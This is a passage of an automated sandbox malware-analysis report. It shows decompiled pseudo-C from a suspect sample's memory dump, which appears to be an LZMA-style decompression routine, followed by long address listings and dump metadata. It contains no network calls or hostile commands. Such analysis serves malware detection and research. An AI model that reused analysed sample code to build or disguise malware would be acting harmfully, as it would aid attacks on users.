											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t156 = __ebp - 0x70;
											 *_t156 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t156;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											while(1) {
												L48:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													break;
												}
												L49:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t170 = __edx + 1; // 0x1
													__ebx = _t170;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													continue;
												} else {
													L53:
													goto L46;
												}
											}
											L54:
											_t173 = __ebp - 0x34;
											 *_t173 =  *(__ebp - 0x34) & 0x00000000;
											__eflags =  *_t173;
											goto L55;
										case 0xf:
											L58:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L161:
												 *(__ebp - 0x88) = 0xf;
												goto L170;
											}
											L59:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t203 = __ebp - 0x70;
											 *_t203 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t203;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											L60:
											__eflags = __ebx - 0x100;
											if(__ebx >= 0x100) {
												L55:
												__al =  *(__ebp - 0x44);
												 *(__ebp - 0x5c) =  *(__ebp - 0x44);
												goto L56;
											}
											L61:
											__eax =  *(__ebp - 0x58);
											__edx = __ebx + __ebx;
											__ecx =  *(__ebp - 0x10);
											__esi = __edx + __eax;
											__ecx =  *(__ebp - 0x10) >> 0xb;
											__ax =  *__esi;
											 *(__ebp - 0x54) = __esi;
											__edi = __ax & 0x0000ffff;
											__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
											__eflags =  *(__ebp - 0xc) - __ecx;
											if( *(__ebp - 0xc) >= __ecx) {
												 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
												__cx = __ax;
												_t217 = __edx + 1; // 0x1
												__ebx = _t217;
												__cx = __ax >> 5;
												__eflags = __eax;
												 *__esi = __ax;
											} else {
												 *(__ebp - 0x10) = __ecx;
												0x800 = 0x800 - __edi;
												0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
												__ebx = __ebx + __ebx;
												 *__esi = __cx;
											}
											__eflags =  *(__ebp - 0x10) - 0x1000000;
											 *(__ebp - 0x44) = __ebx;
											if( *(__ebp - 0x10) >= 0x1000000) {
												goto L60;
											} else {
												L65:
												goto L58;
											}
										case 0x10:
											L109:
											__eflags =  *(__ebp - 0x6c);
											if( *(__ebp - 0x6c) == 0) {
												L165:
												 *(__ebp - 0x88) = 0x10;
												goto L170;
											}
											L110:
											__ecx =  *(__ebp - 0x70);
											__eax =  *(__ebp - 0xc);
											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											_t365 = __ebp - 0x70;
											 *_t365 =  *(__ebp - 0x70) + 1;
											__eflags =  *_t365;
											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
											goto L111;
										case 0x11:
											L69:
											__esi =  *(__ebp - 0x58);
											 *(__ebp - 0x84) = 0x12;
											goto L132;
										case 0x12:
											L128:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L131:
												__eax =  *(__ebp - 0x58);
												 *(__ebp - 0x84) = 0x13;
												__esi =  *(__ebp - 0x58) + 2;
												L132:
												 *(_t644 - 0x54) = _t642;
												goto L133;
											}
											L129:
											__eax =  *(__ebp - 0x4c);
											 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											__eflags = __eax;
											__eax =  *(__ebp - 0x58) + __eax + 4;
											goto L130;
										case 0x13:
											L141:
											__eflags =  *(__ebp - 0x40);
											if( *(__ebp - 0x40) != 0) {
												L143:
												_t469 = __ebp - 0x58;
												 *_t469 =  *(__ebp - 0x58) + 0x204;
												__eflags =  *_t469;
												 *(__ebp - 0x30) = 0x10;
												 *(__ebp - 0x40) = 8;
												L144:
												 *((intOrPtr*)(__ebp - 0x7c)) = 0x14;
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
											L142:
											__eax =  *(__ebp - 0x4c);
											__ecx =  *(__ebp - 0x58);
											__eax =  *(__ebp - 0x4c) << 4;
											 *(__ebp - 0x30) = 8;
											__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
											L130:
											 *(__ebp - 0x58) = __eax;
											 *(__ebp - 0x40) = 3;
											goto L144;
										case 0x14:
											L156:
											 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
											__eax =  *(__ebp - 0x80);
											while(1) {
												L140:
												 *(_t644 - 0x88) = _t537;
												goto L1;
											}
										case 0x15:
											L91:
											__eax = 0;
											__eflags =  *(__ebp - 0x38) - 7;
											0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
											__al = __al & 0x000000fd;
											__eax = (__eflags >= 0) - 1 + 0xb;
											 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
											goto L120;
										case 0x16:
											goto L0;
										case 0x17:
											while(1) {
												L145:
												 *(_t644 - 0x50) = 1;
												 *(_t644 - 0x48) =  *(_t644 - 0x40);
												goto L149;
											}
										case 0x18:
											goto L146;
										case 0x19:
											L94:
											__eflags = __ebx - 4;
											if(__ebx < 4) {
												L98:
												 *(__ebp - 0x2c) = __ebx;
												L119:
												_t393 = __ebp - 0x2c;
												 *_t393 =  *(__ebp - 0x2c) + 1;
												__eflags =  *_t393;
												L120:
												__eax =  *(__ebp - 0x2c);
												__eflags = __eax;
												if(__eax == 0) {
													L166:
													 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
													goto L170;
												}
												L121:
												__eflags = __eax -  *(__ebp - 0x60);
												if(__eax >  *(__ebp - 0x60)) {
													goto L171;
												}
												L122:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
												__eax =  *(__ebp - 0x30);
												_t400 = __ebp - 0x60;
												 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
												__eflags =  *_t400;
												goto L123;
											}
											L95:
											__ecx = __ebx;
											__eax = __ebx;
											__ecx = __ebx >> 1;
											__eax = __ebx & 0x00000001;
											__ecx = (__ebx >> 1) - 1;
											__al = __al | 0x00000002;
											__eax = (__ebx & 0x00000001) << __cl;
											__eflags = __ebx - 0xe;
											 *(__ebp - 0x2c) = __eax;
											if(__ebx >= 0xe) {
												L97:
												__ebx = 0;
												 *(__ebp - 0x48) = __ecx;
												L102:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													L107:
													__eax = __eax + __ebx;
													 *(__ebp - 0x40) = 4;
													 *(__ebp - 0x2c) = __eax;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x644;
													__eflags = __eax;
													L108:
													__ebx = 0;
													 *(__ebp - 0x58) = __eax;
													 *(__ebp - 0x50) = 1;
													 *(__ebp - 0x44) = 0;
													 *(__ebp - 0x48) = 0;
													L112:
													__eax =  *(__ebp - 0x40);
													__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
													if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
														L118:
														_t391 = __ebp - 0x2c;
														 *_t391 =  *(__ebp - 0x2c) + __ebx;
														__eflags =  *_t391;
														goto L119;
													}
													L113:
													__eax =  *(__ebp - 0x50);
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
													__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
													__eax =  *(__ebp - 0x58);
													__esi = __edi + __eax;
													 *(__ebp - 0x54) = __esi;
													__ax =  *__esi;
													__ecx = __ax & 0x0000ffff;
													__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
													__eflags =  *(__ebp - 0xc) - __edx;
													if( *(__ebp - 0xc) >= __edx) {
														__ecx = 0;
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
														__ecx = 1;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
														__ebx = 1;
														__ecx =  *(__ebp - 0x48);
														__ebx = 1 << __cl;
														__ecx = 1 << __cl;
														__ebx =  *(__ebp - 0x44);
														__ebx =  *(__ebp - 0x44) | __ecx;
														__cx = __ax;
														__cx = __ax >> 5;
														__eax = __eax - __ecx;
														__edi = __edi + 1;
														__eflags = __edi;
														 *(__ebp - 0x44) = __ebx;
														 *__esi = __ax;
														 *(__ebp - 0x50) = __edi;
													} else {
														 *(__ebp - 0x10) = __edx;
														0x800 = 0x800 - __ecx;
														0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
														 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
														 *__esi = __dx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L111:
														_t368 = __ebp - 0x48;
														 *_t368 =  *(__ebp - 0x48) + 1;
														__eflags =  *_t368;
														goto L112;
													} else {
														L117:
														goto L109;
													}
												}
												L103:
												__ecx =  *(__ebp - 0xc);
												__ebx = __ebx + __ebx;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
												__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
													__ecx =  *(__ebp - 0x10);
													 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													__ebx = __ebx | 0x00000001;
													__eflags = __ebx;
													 *(__ebp - 0x44) = __ebx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													L101:
													_t338 = __ebp - 0x48;
													 *_t338 =  *(__ebp - 0x48) - 1;
													__eflags =  *_t338;
													goto L102;
												} else {
													L106:
													goto L99;
												}
											}
											L96:
											__edx =  *(__ebp - 4);
											__eax = __eax - __ebx;
											 *(__ebp - 0x40) = __ecx;
											__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
											goto L108;
										case 0x1a:
											L56:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L162:
												 *(__ebp - 0x88) = 0x1a;
												goto L170;
											}
											L57:
											__ecx =  *(__ebp - 0x68);
											__al =  *(__ebp - 0x5c);
											__edx =  *(__ebp - 8);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
											 *( *(__ebp - 0x68)) = __al;
											__ecx =  *(__ebp - 0x14);
											 *(__ecx +  *(__ebp - 8)) = __al;
											__eax = __ecx + 1;
											__edx = 0;
											_t192 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t192;
											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												L163:
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											L77:
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L123:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												L124:
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t414 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t414;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t414;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L127:
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											L167:
											 *(__ebp - 0x88) = 0x1c;
											goto L170;
									}
								}
								L171:
								_t539 = _t538 | 0xffffffff;
								goto L172;
							}
						}
					}
				}
			}

0x00406768
0x00406768
0x00406768
0x00406768
0x0040676e
0x00406772
0x00406776
0x00406780
0x0040678e
0x00406a64
0x00406a64
0x00406a67
0x00406a6e
0x00406a9b
0x00406a9b
0x00406a9f
0x00000000
0x00000000
0x00406aa1
0x00406aaa
0x00406ab0
0x00406ab3
0x00406ab6
0x00406ab9
0x00406abc
0x00406ac2
0x00406adb
0x00406ade
0x00406aea
0x00406aeb
0x00406aee
0x00406ac4
0x00406ac4
0x00406ad3
0x00406ad6
0x00406ad6
0x00406af8
0x00406a98
0x00406a98
0x00406a98
0x00406a9b
0x00406a9f
0x00000000
0x00000000
0x00000000
0x00406afa
0x00406afa
0x00406a73
0x00406a77
0x00406baf
0x00406baf
0x00406bb9
0x00406bc1
0x00406bc8
0x00406bca
0x00406bd1
0x00406bd5
0x00406bd5
0x00406a7d
0x00406a83
0x00406a8a
0x00406a92
0x00406a92
0x00406a95
0x00000000
0x00406a95
0x00406aff
0x00406b0c
0x00406b0f
0x00406a1b
0x00406a1b
0x00406a1b
0x004061b7
0x004061b7
0x004061b7
0x004061c0
0x00000000
0x00000000
0x004061c6
0x004061c6
0x00000000
0x004061cd
0x004061d1
0x00000000
0x00000000
0x004061d7
0x004061da
0x004061dd
0x004061e0
0x004061e4
0x00000000
0x00000000
0x004061ea
0x004061ea
0x004061ed
0x004061ef
0x004061f0
0x004061f3
0x004061f5
0x004061f6
0x004061f8
0x004061fb
0x00406200
0x00406205
0x0040620e
0x00406221
0x00406224
0x00406230
0x00406258
0x0040625a
0x00406268
0x00406268
0x0040626c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040625c
0x0040625c
0x0040625f
0x00406260
0x00406260
0x00000000
0x0040625c
0x00406232
0x00406236
0x0040623b
0x0040623b
0x00406244
0x0040624c
0x0040624f
0x00000000
0x00406255
0x00406255
0x00000000
0x00406255
0x00000000
0x00406272
0x00406272
0x00406276
0x00406b22
0x00406b22
0x00000000
0x00406b22
0x0040627c
0x0040627f
0x0040628f
0x00406292
0x00406295
0x00406295
0x00406295
0x00406298
0x0040629c
0x00000000
0x00000000
0x0040629e
0x0040629e
0x004062a4
0x004062ce
0x004062d4
0x004062db
0x00000000
0x004062db
0x004062a6
0x004062aa
0x004062ad
0x004062b2
0x004062b2
0x004062bd
0x004062c5
0x004062c8
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0040630d
0x00406313
0x00406316
0x00406323
0x0040632b
0x00000000
0x00000000
0x004062e2
0x004062e2
0x004062e6
0x00406b31
0x00406b31
0x00000000
0x00406b31
0x004062ec
0x004062f2
0x004062fd
0x004062fd
0x004062fd
0x00406300
0x00406303
0x00406306
0x0040630b
0x00000000
0x00000000
0x00000000
0x00000000
0x004069a2
0x004069a2
0x004069a8
0x004069ae
0x004069b4
0x004069ce
0x004069d1
0x004069d7
0x004069e2
0x004069e2
0x004069e4
0x004069b6
0x004069b6
0x004069c5
0x004069c9
0x004069c9
0x004069ee
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004069f0
0x004069f4
0x00406ba3
0x00406ba3
0x00000000
0x00406ba3
0x004069fa
0x00406a00
0x00406a07
0x00406a0f
0x00406a12
0x00406a15
0x00406a15
0x00406a1b
0x00406a1b
0x00000000
0x00000000
0x00406333
0x00406333
0x00406335
0x00406338
0x004063a9
0x004063a9
0x004063ac
0x004063af
0x004063b6
0x004063c0
0x00000000
0x004063c0
0x0040633a
0x0040633a
0x0040633e
0x00406341
0x00406343
0x00406346
0x00406349
0x0040634b
0x0040634e
0x00406350
0x00406355
0x00406358
0x0040635b
0x0040635f
0x00406366
0x00406369
0x00406370
0x00406374
0x0040637c
0x0040637c
0x0040637c
0x00406376
0x00406376
0x00406376
0x0040636b
0x0040636b
0x0040636b
0x00406380
0x00406383
0x004063a1
0x004063a1
0x004063a3
0x00000000
0x00406385
0x00406385
0x00406385
0x00406388
0x0040638b
0x0040638e
0x00406390
0x00406390
0x00406390
0x00406393
0x00406396
0x00406398
0x00406399
0x0040639c
0x00000000
0x0040639c
0x00000000
0x004065d2
0x004065d2
0x004065d6
0x004065f4
0x004065f4
0x004065f7
0x004065fe
0x00406601
0x00406604
0x00406607
0x0040660a
0x0040660d
0x0040660f
0x00406616
0x00406617
0x00406619
0x0040661c
0x0040661f
0x00406622
0x00406622
0x00406627
0x00000000
0x00406627
0x004065d8
0x004065d8
0x004065db
0x004065de
0x004065e8
0x00000000
0x00000000
0x0040663c
0x0040663c
0x00406640
0x00406663
0x00406666
0x00406669
0x00406673
0x00406642
0x00406642
0x00406645
0x00406648
0x0040664b
0x00406658
0x0040665b
0x0040665b
0x00000000
0x00000000
0x0040667f
0x0040667f
0x00406683
0x00000000
0x00000000
0x00406689
0x00406689
0x0040668d
0x00000000
0x00000000
0x00406693
0x00406693
0x00406695
0x00406699
0x00406699
0x0040669c
0x004066a0
0x00000000
0x00000000
0x004066f0
0x004066f0
0x004066f4
0x004066fb
0x004066fb
0x004066fe
0x00406701
0x0040670b
0x00000000
0x0040670b
0x004066f6
0x004066f6
0x00000000
0x00000000
0x00406717
0x00406717
0x0040671b
0x00406722
0x00406725
0x00406728
0x0040671d
0x0040671d
0x0040671d
0x0040672b
0x0040672e
0x00406731
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673a
0x0040673d
0x00406744
0x00406749
0x00000000
0x00000000
0x004067d7
0x004067d7
0x004067db
0x00406b79
0x00406b79
0x00000000
0x00406b79
0x004067e1
0x004067e1
0x004067e4
0x004067e7
0x004067eb
0x004067ee
0x004067f4
0x004067f6
0x004067f6
0x004067f6
0x004067f9
0x004067fc
0x00000000
0x00000000
0x004063cc
0x004063cc
0x004063d0
0x00406b3d
0x00406b3d
0x00000000
0x00406b3d
0x004063d6
0x004063d6
0x004063d9
0x004063dc
0x004063e0
0x004063e3
0x004063e9
0x004063eb
0x004063eb
0x004063eb
0x004063ee
0x004063f1
0x004063f1
0x004063f4
0x004063f7
0x00000000
0x00000000
0x004063fd
0x004063fd
0x00406403
0x00000000
0x00000000
0x00406409
0x00406409
0x0040640d
0x00406410
0x00406413
0x00406416
0x00406419
0x0040641a
0x0040641d
0x0040641f
0x00406425
0x00406428
0x0040642b
0x0040642e
0x00406431
0x00406434
0x00406437
0x00406453
0x00406456
0x00406459
0x0040645c
0x00406463
0x00406467
0x00406469
0x0040646d
0x00406439
0x00406439
0x0040643d
0x00406445
0x0040644a
0x0040644c
0x0040644e
0x0040644e
0x00406470
0x00406477
0x0040647a
0x00000000
0x00406480
0x00406480
0x00000000
0x00406480
0x00000000
0x00406485
0x00406485
0x00406489
0x00406b49
0x00406b49
0x00000000
0x00406b49
0x0040648f
0x0040648f
0x00406492
0x00406495
0x00406499
0x0040649c
0x004064a2
0x004064a4
0x004064a4
0x004064a4
0x004064a7
0x004064aa
0x004064aa
0x004064aa
0x004064b0
0x00000000
0x00000000
0x004064b2
0x004064b2
0x004064b5
0x004064b8
0x004064bb
0x004064be
0x004064c1
0x004064c4
0x004064c7
0x004064ca
0x004064cd
0x004064d0
0x004064e8
0x004064eb
0x004064ee
0x004064f1
0x004064f1
0x004064f4
0x004064f8
0x004064fa
0x004064d2
0x004064d2
0x004064da
0x004064df
0x004064e1
0x004064e3
0x004064e3
0x004064fd
0x00406504
0x00406507
0x00000000
0x00406509
0x00406509
0x00000000
0x00406509
0x00406507
0x0040650e
0x0040650e
0x0040650e
0x0040650e
0x00000000
0x00000000
0x00406549
0x00406549
0x0040654d
0x00406b55
0x00406b55
0x00000000
0x00406b55
0x00406553
0x00406553
0x00406556
0x00406559
0x0040655d
0x00406560
0x00406566
0x00406568
0x00406568
0x00406568
0x0040656b
0x0040656e
0x0040656e
0x00406574
0x00406512
0x00406512
0x00406515
0x00000000
0x00406515
0x00406576
0x00406576
0x00406579
0x0040657c
0x0040657f
0x00406582
0x00406585
0x00406588
0x0040658b
0x0040658e
0x00406591
0x00406594
0x004065ac
0x004065af
0x004065b2
0x004065b5
0x004065b5
0x004065b8
0x004065bc
0x004065be
0x00406596
0x00406596
0x0040659e
0x004065a3
0x004065a5
0x004065a7
0x004065a7
0x004065c1
0x004065c8
0x004065cb
0x00000000
0x004065cd
0x004065cd
0x00000000
0x004065cd
0x00000000
0x0040685a
0x0040685a
0x0040685e
0x00406b85
0x00406b85
0x00000000
0x00406b85
0x00406864
0x00406864
0x00406867
0x0040686a
0x0040686e
0x00406871
0x00406877
0x00406879
0x00406879
0x00406879
0x0040687c
0x00000000
0x00000000
0x0040662a
0x0040662a
0x0040662d
0x00000000
0x00000000
0x00406969
0x00406969
0x0040696d
0x0040698f
0x0040698f
0x00406992
0x0040699c
0x0040699f
0x0040699f
0x00000000
0x0040699f
0x0040696f
0x0040696f
0x00406972
0x00406976
0x00406979
0x00406979
0x0040697c
0x00000000
0x00000000
0x00406a26
0x00406a26
0x00406a2a
0x00406a48
0x00406a48
0x00406a48
0x00406a48
0x00406a4f
0x00406a56
0x00406a5d
0x00406a5d
0x00406a64
0x00406a67
0x00406a6e
0x00000000
0x00406a71
0x00406a2c
0x00406a2c
0x00406a2f
0x00406a32
0x00406a35
0x00406a3c
0x00406980
0x00406980
0x00406983
0x00000000
0x00000000
0x00406b17
0x00406b17
0x00406b1a
0x00406a1b
0x00406a1b
0x00406a1b
0x00000000
0x00406a21
0x00000000
0x00406751
0x00406751
0x00406753
0x0040675a
0x0040675b
0x0040675d
0x00406760
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a64
0x00406a64
0x00406a67
0x00406a6e
0x00000000
0x00406a71
0x00000000
0x00000000
0x00000000
0x00406796
0x00406796
0x00406799
0x004067cf
0x004067cf
0x004068ff
0x004068ff
0x004068ff
0x004068ff
0x00406902
0x00406902
0x00406905
0x00406907
0x00406b91
0x00406b91
0x00000000
0x00406b91
0x0040690d
0x0040690d
0x00406910
0x00000000
0x00000000
0x00406916
0x00406916
0x0040691a
0x0040691d
0x0040691d
0x0040691d
0x00000000
0x0040691d
0x0040679b
0x0040679b
0x0040679d
0x0040679f
0x004067a1
0x004067a4
0x004067a5
0x004067a7
0x004067a9
0x004067ac
0x004067af
0x004067c5
0x004067c5
0x004067ca
0x00406802
0x00406802
0x00406806
0x0040682f
0x00406832
0x00406834
0x0040683b
0x0040683e
0x00406841
0x00406841
0x00406846
0x00406846
0x00406848
0x0040684b
0x00406852
0x00406855
0x00406882
0x00406882
0x00406885
0x00406888
0x004068fc
0x004068fc
0x004068fc
0x004068fc
0x00000000
0x004068fc
0x0040688a
0x0040688a
0x00406890
0x00406893
0x00406896
0x00406899
0x0040689c
0x0040689f
0x004068a2
0x004068a5
0x004068a8
0x004068ab
0x004068c4
0x004068c6
0x004068c9
0x004068ca
0x004068cd
0x004068cf
0x004068d2
0x004068d4
0x004068d6
0x004068d9
0x004068db
0x004068de
0x004068e2
0x004068e4
0x004068e4
0x004068e5
0x004068e8
0x004068eb
0x004068ad
0x004068ad
0x004068b5
0x004068ba
0x004068bc
0x004068bf
0x004068bf
0x004068ee
0x004068f5
0x0040687f
0x0040687f
0x0040687f
0x0040687f
0x00000000
0x004068f7
0x004068f7
0x00000000
0x004068f7
0x004068f5
0x00406808
0x00406808
0x0040680b
0x0040680d
0x00406810
0x00406813
0x00406816
0x00406818
0x0040681b
0x0040681e
0x0040681e
0x00406821
0x00406821
0x00406824
0x0040682b
0x004067ff
0x004067ff
0x004067ff
0x004067ff
0x00000000
0x0040682d
0x0040682d
0x00000000
0x0040682d
0x0040682b
0x004067b1
0x004067b1
0x004067b4
0x004067b6
0x004067b9
0x00000000
0x00000000
0x00406518
0x00406518
0x0040651c
0x00406b61
0x00406b61
0x00000000
0x00406b61
0x00406522
0x00406522
0x00406525
0x00406528
0x0040652b
0x0040652e
0x00406531
0x00406534
0x00406536
0x00406539
0x0040653c
0x0040653f
0x00406541
0x00406541
0x00406541
0x00000000
0x00000000
0x004066a3
0x004066a3
0x004066a7
0x00406b6d
0x00406b6d
0x00000000
0x00406b6d
0x004066ad
0x004066ad
0x004066b0
0x004066b3
0x004066b6
0x004066b8
0x004066b8
0x004066b8
0x004066bb
0x004066be
0x004066c1
0x004066c4
0x004066c7
0x004066ca
0x004066cb
0x004066cd
0x004066cd
0x004066cd
0x004066d0
0x004066d3
0x004066d6
0x004066d9
0x004066d9
0x004066d9
0x004066dc
0x004066de
0x004066de
0x00000000
0x00000000
0x00406920
0x00406920
0x00406920
0x00406924
0x00000000
0x00000000
0x0040692a
0x0040692a
0x0040692d
0x00406930
0x00406933
0x00406935
0x00406935
0x00406935
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x00406947
0x00406948
0x0040694a
0x0040694a
0x0040694a
0x0040694d
0x00406950
0x00406953
0x00406956
0x00406959
0x0040695d
0x0040695f
0x00406962
0x00000000
0x00406964
0x00406964
0x004066e1
0x004066e1
0x00000000
0x004066e1
0x00406962
0x00406b97
0x00406b97
0x00000000
0x00000000
0x004061c6
0x00406bce
0x00406bce
0x00000000
0x00406bce
0x00406a1b
0x00406a9b
0x00406a64

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9f777e2b5f047ff5fac18a6b7d4eccb0398312e185884248bc8ff9efca1ede3f
Instruction ID: 0a364959098a1219693739684ad0890dad76377db1f96b1360ce1028e8ac0eba
